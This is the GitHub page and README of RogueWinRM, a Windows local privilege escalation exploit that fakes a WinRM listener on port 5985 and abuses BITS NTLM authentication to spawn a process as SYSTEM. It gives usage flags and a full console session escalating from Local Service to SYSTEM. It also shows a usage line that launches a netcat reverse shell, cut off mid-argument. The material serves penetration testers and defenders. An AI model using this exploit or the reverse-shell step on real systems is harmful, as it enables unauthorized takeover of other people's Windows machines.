Sign in

antonioCoco / RogueWinRM Public

Notifications Fork 101 Star 678

Code Issues Pull requests Actions Projects Security Insights

master Go to file Code

spnegotokenhandler
.gitattributes
LICENSE
LocalNegotiator.cpp
LocalNegotiator.h
README.md
RogueWinRM.cpp
RogueWinRM.sln
RogueWinRM.vcxproj
RogueWinRM.vcxproj...
RogueWinRM.vcxproj...
base64.cpp
base64.h

README GPL-3.0 license

About

Windows Local Privilege Escalation from Service Account to System

Readme
GPL-3.0 license
Activity
678 stars
14 watching
101 forks
Report repository

Releases 2

RogueWinRM Latest
on Feb 23, 2020

+ 1 release

Packages

No packages published

Languages

C++ 99.3% C 0.7%

RogueWinRM

RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (**default on Win10 but NOT on Windows Server 2019**).

Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.
It's just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.
Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.

You can find a full technical description of this vulnerability at this link --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/

Usage

```
RogueWinRM

Mandatory args:
-p <program>: program to launch

Optional args:
-a <argument>: command line argument to pass to
-l <port>: listening port (default 5985 WinRM)
-d : Enable Debugging output
```

Examples

```
Microsoft Windows [Version 10.0.18362.476]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\local service

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeSystemtimePrivilege         Change the system time                    Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

C:\Windows\system32>cd C:\temp

C:\temp>RogueWinRM.exe -p C:\windows\system32\cmd.exe

Listening for connection on port 5985 ....

Received http negotiate request

Sending the 401 http response with ntlm type 2 challenge

Received http packet with ntlm type3 response

Using ntlm type3 response in AcceptSecurityContext()

BITS triggered!

[+] authresult 0
NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\temp>
```

Select Administrator: C:\windows\system32\cmd.exe

```
Microsoft Windows [Version 10.0.18362.476]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>echo test > test

C:\Windows\system32>dir /q C:\windows\system32\test
 Volume in drive C has no label.
 Volume Serial Number is 6AEE-A664

 Directory of C:\windows\system32

12/03/2019  02:43 PM                 7 NT AUTHORITY\SYSTEM    test
               1 File(s)              7 bytes
               0 Dir(s)  88,713,859,072 bytes free

C:\Windows\system32>
```

Running an interactive cmd:

```
RogueWinRM.exe -p C:\windows\system32\cmd.exe
```

Running netcat reverse shell:

```
RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "
```

Authors

- Antonio Cocomazzi
- Andrea Pierini
- Roberto (0xea31)

Terms Privacy Security Status Docs Contact Manage cookies Do not share my personal information

© 2024 GitHub, Inc.